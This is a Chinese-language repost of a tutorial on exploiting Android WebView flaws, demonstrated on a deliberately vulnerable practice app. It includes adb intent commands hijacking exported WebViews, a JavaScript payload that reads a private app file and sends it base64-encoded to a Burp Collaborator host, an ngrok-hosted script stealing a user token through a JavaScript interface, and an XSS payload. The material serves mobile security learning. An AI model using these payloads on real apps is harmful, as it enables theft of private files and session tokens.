利用Android WebView漏洞

什么是WebView?


WebView类是Android的View类的扩展,允许您将网页显示为活动布局的一部分。它不包含完整开发的Web浏览器的任何功能,如导航控件或地址栏。默认情况下,WebView只是显示一个网页。


利用Android WebView漏洞

Twitter使用WebView加载网站。


为了进行测试,我们将使用易受攻击的
WebView应用程序(https://github.com/t4kemyh4nd/vulnwebview)来学习如何手动利用Android应用程序中的WebView漏洞。登录凭据是用户名:vuln和密码:webview(以防需要使用)。


利用Android WebView漏洞

易受攻击的WebView应用程序


WebViews是可导出的


在介绍漏洞之前,我们需要确保WebView是我们目标应用程序的一部分。


由于WebViews是应用程序中的活动的一部分,我们需要对apk进行反编译,查看AndroidManifest.xml文件和应用程序的Activity,以检查是否存在易受攻击的WebView。


让我们首先将我们的应用程序加载到Jadx反编译器中,以分析清单和活动。


利用Android WebView漏洞

反编译工具


现在,我们将查看哪些组件是导出的。


我们可以得出结论,一个组件可以通过两种方式来导出:

◆如果组件明确声明了“exported=true”属性;

◆如果组件具有意图过滤器且没有“exported=false”属性。


利用Android WebView漏洞
activities exported

一些组件如SupportWebViewRegistrationWebView被明确导出,而MainActivity是通过指定意图过滤器来导出的,这表明该应用程序正在使用WebViews。


利用Android WebView漏洞
confirming with

我们可以看到loadWebView函数,它通过从intent中获取字符串来加载URL。
利用Android WebView漏洞
webview code

因此,第三方应用程序可以通过向该组件发送带有URL字符串的意图来利用这种行为,而目标应用程序将接受并执行该意图,因为该组件已被导出。也就是说,第三方应用程序可以访问目标应用程序中的WebView组件。


利用


我们将使用ADB发送一个意图到该组件,这个intent将在应用程序的上下文中打开攻击者提供的恶意网页。


adb shell am start -n componentname --es string "domain.com"


使用adb shell在设备上启动唯一的shell,使用am(活动管理器)start命令,-n参数指定组件名称,–es参数后跟URL作为额外的字符串。


因此,我们的adb命令将如下所示:


adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://3kal.medium.com"

利用Android WebView漏洞
发送intent到webviews


利用Android WebView漏洞
webview加载了攻击者的url


为webview启用setAllowUniversalAccessFromFileURLs


开发人员可以配置的另一个设置是允许在文件方案URL的上下文中运行的JavaScript访问来自任何源的内容,包括其他文件方案URL。


该设置会移除所有同源策略的限制,允许WebView从文件中向Web发出请求,这通常是不可能的。也就是说,攻击者可以使用JavaScript读取本地文件,并将其发送到攻击者控制的域名上。


如果WebView被导出,这种行为可能非常危险,因为它可以允许攻击者读取可能对应用程序来说是私有的任意文件。


利用Android WebView漏洞
setAllowUniversalAccessFromFileURLs


利用


现在让我们看看如何利用上述应用程序中使用的这个设置。


利用Android WebView漏洞

现在,让我们为漏洞中讨论的JavaScript漏洞创建利用程序。


我已经使用了我的Burp Collaborator链接来获取内容,您可以使用您方便的任何链接。


<script>
var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'; //local file
function load(url) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
fetch('https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfiltrated=' + btoa(xhr.responseText)); //send b64 encoded file to attacker
}
}
xhr.open('GET', url, true);
xhr.send('');
}
load(url)
</script>

利用Android WebView漏洞
任意文件读取漏洞

请将上述代码添加到sauafu.html文件中,并使用adb将该文件移动到sdcard。


利用Android WebView漏洞
将exploit推入设备

利用程序加载本地文件的内容并将其返回给攻击者的URL。


现在运行带有利用文件的intent。


adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/sauafu.html"

利用Android WebView漏洞
intent启动


利用Android WebView漏洞
空注册页面

现在我们应该已经在Burp Collaborator或您使用的其他工具中收到了以Base64编码的文件内容。


利用Android WebView漏洞
利用poc

我们可以在右侧窗口框中看到以Base64编码接收到的文件内容的解码结果。


启用JavaScript并为WebView提供接口


开发人员可以通过添加此配置来启用WebView中的JavaScript。


webView.getSettings().setJavaScriptEnabled(true);


添加此配置将在网页的JavaScript和应用程序的客户端Java代码之间创建一个接口。也就是说,网页的JavaScript可以访问和注入应用程序的Java代码。


webView.addJavascriptInterface(new WebAppInterface(this), "Android");


如果这个活动被导出,那么这可能是危险的,允许攻击者进行许多攻击,包括XSS攻击和从应用程序中窃取令牌。


利用


针对这种情况的利用,我们不能使用上述相同的WebView,因为它没有使用接口。因此,我们将使用另一个使用了接口的WebView。


利用Android WebView漏洞
support webview

我们可以使用SupportWebView,您可以看到JavaScript已启用,并且使用了名为”Android“的接口。


利用Android WebView漏洞
接口声明


<script type="text/javascript">
document.write("token: " + Android.getUserToken());
</script>


该脚本通过从名为Android的接口中的getUserToken()方法生成令牌并将其写入。


从Apache服务器托管此脚本,并将端口80连接到ngrok以获取HTTPS链接(不能使用HTTP链接)。


sudo service apache2 start
./ngrok http 80
and use https ngrok link
adb shell am start -n com.tmh.vulnwebview/.Supportwebview --es support_url "https://8d95c0fe086f.ngrok.io/token.html"

利用Android WebView漏洞
intent


利用Android WebView漏洞
token窃取

我们可以通过替换文档来显示XSS警报,用您喜欢的XSS有效负载在上面的javascript代码中编写一行代码。


<script type="text/javascript">
alert("kal");
</script>

利用Android WebView漏洞
XSS Alert.

我们已经涵盖了与WebViews相关的4个漏洞:

◆导出的WebView(WebView劫持)

◆启用WebView的文件访问(文件窃取)

◆使用setJavaScriptEnabled(XSS)

◆JavaScript接口(令牌窃取)


原文地址:https://medium.com/mobis3c/exploiting-android-webview-vulnerabilities-e2bcff780892




利用Android WebView漏洞


看雪ID:Max_hhg

https://bbs.kanxue.com/user-home-876202.htm

*本文为看雪论坛优秀文章,由 Max_hhg 翻译,转载请注明来自看雪社区

利用Android WebView漏洞


# 往期推荐

1、区块链智能合约逆向-合约创建-调用执行流程分析

2、在Windows平台使用VS2022的MSVC编译LLVM16

3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱

4、为什么在ASLR机制下DLL文件在不同进程中加载的基址相同

5、2022QWB final RDP

6、华为杯研究生国赛 adv_lua


利用Android WebView漏洞


利用Android WebView漏洞

球分享

利用Android WebView漏洞

球点赞

利用Android WebView漏洞

球在看

原文始发于微信公众号(看雪学苑):利用Android WebView漏洞

版权声明:admin 发表于 2024年1月31日 下午6:03。
转载请注明:利用Android WebView漏洞 | CTF导航

相关文章